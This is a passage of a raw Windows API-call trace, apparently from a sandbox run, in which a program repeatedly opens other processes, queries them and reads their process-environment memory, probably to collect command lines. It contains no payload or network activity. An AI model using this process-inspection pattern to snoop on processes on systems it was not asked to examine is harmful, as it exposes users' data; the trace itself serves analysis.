lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.242] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d40, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.242] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.242] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.242] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.242] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.242] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.243] malloc (_Size=0x62) returned 0xeb6620 [0344.243] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb6620, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0344.243] free (_Block=0xeb6620) [0344.243] CloseHandle (hObject=0xa9c) returned 1 [0344.243] _ui64tow_s (in: _Value=0x1048, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4168") returned 0x0 [0344.244] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4168") returned 4 [0344.244] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.244] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.245] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1048) returned 0xa9c [0344.245] GetLastError () returned 0x0 [0344.245] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.245] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.245] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.245] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.245] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.246] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.246] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.246] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.246] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.246] malloc (_Size=0x84) returned 0xe882d0 [0344.246] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622d4, lpBuffer=0xe882d0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe882d0*, lpNumberOfBytesRead=0x0) returned 1 [0344.247] free (_Block=0xe882d0) [0344.247] CloseHandle (hObject=0xa9c) returned 1 [0344.247] _ui64tow_s (in: _Value=0x1050, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0344.247] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4176") returned 4 [0344.247] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.247] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.248] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0xa9c [0344.248] GetLastError () returned 0x0 [0344.248] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.248] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.249] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.249] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.249] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.249] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.249] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.249] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.249] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.250] malloc (_Size=0x6a) returned 0xea8fa0 [0344.250] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ba, lpBuffer=0xea8fa0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8fa0*, lpNumberOfBytesRead=0x0) returned 1 [0344.250] free (_Block=0xea8fa0) [0344.250] CloseHandle (hObject=0xa9c) returned 1 [0344.251] _ui64tow_s (in: _Value=0x105c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0344.251] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4188") returned 4 [0344.251] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.251] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.252] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0xa9c [0344.252] GetLastError () returned 0x0 [0344.255] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.255] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.255] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.255] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e26b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.256] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.256] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.256] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.256] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.256] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.256] malloc (_Size=0x8e) returned 0xec7660 [0344.256] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22de, lpBuffer=0xec7660, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7660*, lpNumberOfBytesRead=0x0) returned 1 [0344.258] free (_Block=0xec7660) [0344.258] CloseHandle (hObject=0xa9c) returned 1 [0344.258] _ui64tow_s (in: _Value=0x1068, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4200") returned 0x0 [0344.258] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4200") returned 4 [0344.258] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.258] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.259] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1068) returned 0xa9c [0344.259] GetLastError () returned 0x0 [0344.259] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.259] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.260] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.260] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.260] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.260] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.260] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.260] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.261] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.261] malloc (_Size=0x66) returned 0xeb6380 [0344.261] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22b6, lpBuffer=0xeb6380, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0344.262] free (_Block=0xeb6380) [0344.262] CloseHandle (hObject=0xa9c) returned 1 [0344.262] _ui64tow_s (in: _Value=0x1080, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0344.262] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4224") returned 4 [0344.262] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.262] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.263] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0xa9c [0344.263] GetLastError () returned 0x0 [0344.263] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.263] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.263] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.264] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e26f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.264] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.264] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.264] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.264] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.264] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.265] malloc (_Size=0xa2) returned 0xe96b80 [0344.265] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22f2, lpBuffer=0xe96b80, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe96b80*, lpNumberOfBytesRead=0x0) returned 1 [0344.266] free (_Block=0xe96b80) [0344.266] CloseHandle (hObject=0xa9c) returned 1 [0344.266] _ui64tow_s (in: _Value=0x1088, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0344.266] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4232") returned 4 [0344.266] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.267] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.271] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0xa9c [0344.271] GetLastError () returned 0x0 [0344.271] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.271] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.271] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.272] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.272] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.272] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.272] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.272] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.272] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.273] malloc (_Size=0x6a) returned 0xea97a0 [0344.273] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d22ba, lpBuffer=0xea97a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.273] free (_Block=0xea97a0) [0344.273] CloseHandle (hObject=0xa9c) returned 1 [0344.273] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0344.274] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4316") returned 4 [0344.274] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.274] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.275] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0xa9c [0344.275] GetLastError () returned 0x0 [0344.275] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.275] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.275] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.275] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.275] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.276] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.276] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.276] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.276] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.276] malloc (_Size=0x72) returned 0xea8b20 [0344.276] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722c2, lpBuffer=0xea8b20, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8b20*, lpNumberOfBytesRead=0x0) returned 1 [0344.277] free (_Block=0xea8b20) [0344.277] CloseHandle (hObject=0xa9c) returned 1 [0344.277] _ui64tow_s (in: _Value=0x10e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4324") returned 0x0 [0344.277] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4324") returned 4 [0344.277] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.277] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.278] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10e4) returned 0xa9c [0344.278] GetLastError () returned 0x0 [0344.278] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.278] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.278] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, 